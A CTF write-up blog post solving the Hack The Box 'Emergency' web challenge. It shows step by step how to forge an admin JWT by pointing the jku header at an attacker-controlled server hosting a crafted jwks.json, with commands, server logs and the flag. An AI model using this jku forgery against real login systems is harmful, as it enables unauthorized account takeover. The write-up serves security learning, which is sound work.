---
title: "Hack The Box Business CTF 2021: Emergency"
pubDatetime: 2021-07-25T20:42:42.000Z
tags: ["hackthebox", "writeup"]
description: "Writeup of the web challenge called Emergency from HackTheBox Business CTF 2021"
---
# Challenge Info

You've been tasked with a pentesting engagement on a hospital management portal, they've provided you with a mockup build of the website and they've asked you to break their JWT implementation and find a way to login as "admin".

# Solution

When we visit the website we are able to create a new account:

![](/images/size/w1000/2021/07/image-46.png)

Logging in with the newly created user:

![](/images/size/w1000/2021/07/image-47.png)

Here we also see a reminder on what we're supposed to do: `Login as admin to see flag here.`

Cliking around the website and fuzzing with tools like `ffuf` didn't give us much, so once again I decided to send a request through Burp to see what's happening.

Right away we see what looks like a JWT (Json Web Token):

![](/images/size/w1000/2021/07/image-48.png)

Using a website like `jwt.io` will easily decode the JWT for us:

![](/images/size/w1000/2021/07/image-49.png)

What's really interesting here is the fact that they are using `jku` with an URL pointing to `localhost`.

Going to [`http://159.65.58.156:32014/.well-known/jwks.json`](http://159.65.58.156:32014/.well-known/jwks.json) gives us the following:

```json
{
  "keys": [
    {
      "alg": "RS256",
      "e": "65537",
      "kid": "efe1bca5-ec73-4675-a09c-ae40aa25012d",
      "kty": "RSA",
      "n": "21626483888924415051959075467215913922055831043151007356734229763199940759705629001527848156215791692359812375846235003197141696899466332901631771730329386716384242136968302086807046588272169389610510566594149581526060945257715757967801992606300293195610251102369414133756023915881580201237985361285328762901565795819103355159011364427449978886073388706881162242978371258669078375778244081126645550521486623616549199266001583096568453649861816818067815024716724659532397479879265014091157649131508825578597113417731620220970409844577324161585082872095698932135414217339609068899245402977781384347753133470322840786369",
      "use": "sig"
    }
  ]
}
```

  
This file contains everything the server needs in order to sign the real tokens.  
So, if we change the `jku` url to a server we control, do we see a request coming in?

I change the JWT header to the following:

```text
{"typ":"JWT","alg":"RS256","jku":"http://MY-IP-ADDRESS/.well-known/jwks.json","kid":"751dca95-94c1-46c1-8a63-62a6a9ae033d"}
```

Then I base64 encode the data:

```bash
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency]
└──╼ $ echo -n '{"typ":"JWT","alg":"RS256","jku":"http://MY-IP-ADDRESS/.well-known/jwks.json","kid":"751dca95-94c1-46c1-8a63-62a6a9ae033d"}' | base64 -w0 ; echo
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9NWS1JUC1BRERSRVNTLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6Ijc1MWRjYTk1LTk0YzEtNDZjMS04YTYzLTYyYTZhOWFlMDMzZCJ9
```

When we now send a request to the website with the modified header, we get a response on our listener.

```bash
s1gh@Database:/dev/shm$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
159.65.58.156 - - [25/Jul/2021 21:38:04] code 404, message File not found
159.65.58.156 - - [25/Jul/2021 21:38:04] "GET /.well-known/jwks.json HTTP/1.1" 404 -
```

This means that we can serve our own `jwks.json` and potentially make the website use our key to sign the tokens.  
This way we can forge a valid JWT and get access to the website as the admin user!

### Creating the public/private key

```bash
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in jwtRS256.key
Your public key has been saved in jwtRS256.key.pub
The key fingerprint is:
SHA256:zpphKgHmXdNNx4zudUol3K8It4OzoT1GQqnoaeJ68vc s1gh@fsociety
The key's randomart image is:
+---[RSA 4096]----+
|          = .    |
|         o * o   |
|      . = . o .  |
|..   o + + + . . |
|o.. o + S * = .  |
| ..o . + * = .   |
|  ... o B + .    |
|..o+.o = =       |
|+=+o..E . .      |
+----[SHA256]-----+

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
writing RSA key

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ls jwt*
jwtRS256.key  jwtRS256.key.pub
```

We now have the new private/public key pair we will use in order to sign our own JWT.

### Creating our own jwks.json

Now we need to create our own `jwks.json` file, which will have all the details needed to sign/verify tokens.  
We use `RsaCtfTool` to dump the `e` and `n` values. We will use these values when we create the `jwks.json` file.

```bash
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ../RsaCtfTool/RsaCtfTool.py --key jwtRS256.key --dump
private argument is not set, the private key will not be displayed, even if recovered.
n: 827377738073473803660835491922666175586929940650371123227595043259957830566338892213800869724818443697444111099604277695554941877971259012763290494404323680323144381018835194578986221831553727264051466054704965527657814239851399372061645887084476571107217569673539070480690829102476713704561905281982805691071790850256751602186780151829419910241315903079659749840779257744889260147247175135767181725635575356884011338375911315348595011232636237979589873776993660099208624338487122673696337101433351308954427073432370533345168682902109011057363907272651802176599277348821592772288674825057558039456947936627276254432787416769196721673722137693671015427846669745932879288167085003130964369825706283653087793919561095685887607029912818361714498311472215284939178620236594171259849663646760331910056820049479064223593531033197075788510995931090333789498063507704287527046731096069814074052719212556920432571925960679365934090483318825806275042092305460203509050760027276011155981667400422698428687587964341340576030836763527590813117277892073688511532219330090374796759035940425198435204159691456396065586014969771021724767128390547663479610861758871697585398422955379627150720688769783347395801777503438191453251692105946921451791432197
e: 65537
d: 581602224931059777848406705790397913287368592334436231075149549841204164004465667110145296051889175316196236541917839833323475553904785563254223259940381580310464905155205739949331160314903774376727451510966371010172388791304364216725025014451298520749170792335478759143307533239574587235538129826444083119184374211216233418696961637161138682651131152463140592572361561027347961086463068363362044263825096069644468290395347031246386370637598896005031141111621235746379024286277419693524521322702184437069464590169764836667509590805457375687042401149637546339834782003797274172247233784207037876615379625135144876412735295324817447441420203518936587272837246697285371621588697554178486624690185618897488770266921035952816040880414523108156841202775489113267395123547526575076863235493385724686050176726421831264273807522205106338397227920418227607479787571135380471591497092608614524532412837527186426414090997238503056225140012922310836102500258786091683291914198630613820407427632718196233539855550813983274921952243902406922337872017183282952202743198852436903918649391906220827431577294151130969542152381026158744200961039854173269365203420045447458882145849272792698580994257469705720497689926606372308006814774454263988306872513
p: 29101301905317268959540200028527567597273447699585780100065207691046441347178179444777143037594406280132727498985514785071886998671441337853337774768127037061146871161960484925835739190759540581479977341611372115432696929130606744292099326212594100706029986767978619875733991783380686765002868157732646971613473800395143431408646196828708199064182832881309431533574046180569850812422346388205002818981622570862415722373680702934194977371581284902105162416917255169098807232128509481185600052758476815824480824883567238844460085515119017917655899605584081704043669304476883238009789345536135662574126797835358339014321
q: 28430952703263725165560917625054877116820448963906285334629867110770824735866120972626752013243601575767146539550746652479401737895800320217333297834825224219923442715323187218442131193662596954607583872775743524181228819831845330573503349923840206893959374983947718513507825279406666558398451526174848780138788851205369261825219530276825034938787948425426049545909003611423761095296413411163522754281316076355892527356502325592564158517948362347450406437238260955497714326813990681496422197498091249894298704848299206874037251738603571002458594036410060119064934818836567736289263941755103782813959669412147812887957

```

We can now substitute the `n` value with the value extracted by the tool above, and create the following `jwks.json` file:

```json
{
  "keys": [
    {
      "alg": "RS256",
      "e": "65537",
      "kid": "efe1bca5-ec73-4675-a09c-ae40aa25012d",
      "kty": "RSA",
      "n": "827377738073473803660835491922666175586929940650371123227595043259957830566338892213800869724818443697444111099604277695554941877971259012763290494404323680323144381018835194578986221831553727264051466054704965527657814239851399372061645887084476571107217569673539070480690829102476713704561905281982805691071790850256751602186780151829419910241315903079659749840779257744889260147247175135767181725635575356884011338375911315348595011232636237979589873776993660099208624338487122673696337101433351308954427073432370533345168682902109011057363907272651802176599277348821592772288674825057558039456947936627276254432787416769196721673722137693671015427846669745932879288167085003130964369825706283653087793919561095685887607029912818361714498311472215284939178620236594171259849663646760331910056820049479064223593531033197075788510995931090333789498063507704287527046731096069814074052719212556920432571925960679365934090483318825806275042092305460203509050760027276011155981667400422698428687587964341340576030836763527590813117277892073688511532219330090374796759035940425198435204159691456396065586014969771021724767128390547663479610861758871697585398422955379627150720688769783347395801777503438191453251692105946921451791432197",
      "use": "sig"
    }
  ]
}
```

We then host this file in a `.well-known` directory on a server that's reachable from the docker container.

### Creating a forged JWT

Now we can use the contents of the public and private key we created earlier, change the username to `admin`, and create our own forged JWT:

![](/images/size/w1000/2021/07/image-54.png)

Now we just need to take the JWT generated above, and add that to the `auth` cookie and send the request to the website.

We see that the server reaches out to our server and downloads the `jwks.json` file, which means the server will see the JWT we send as valid.

```bash
s1gh@Database:/dev/shm$ sudo python3 -m http.server 80
[sudo] password for s1gh: 
Serving HTTP on 0.0.0.0 port 80 ...
159.65.58.156 - - [25/Jul/2021 22:01:09] "GET /.well-known/jwks.json HTTP/1.1" 200 -
```

### Getting the flag

Looking through the response from the webserver in Burp reveals the flag.

![](/images/size/w1000/2021/07/image-51.png)

Flag: `HTB{your_JWTS_4r3_cl41m3d!!}`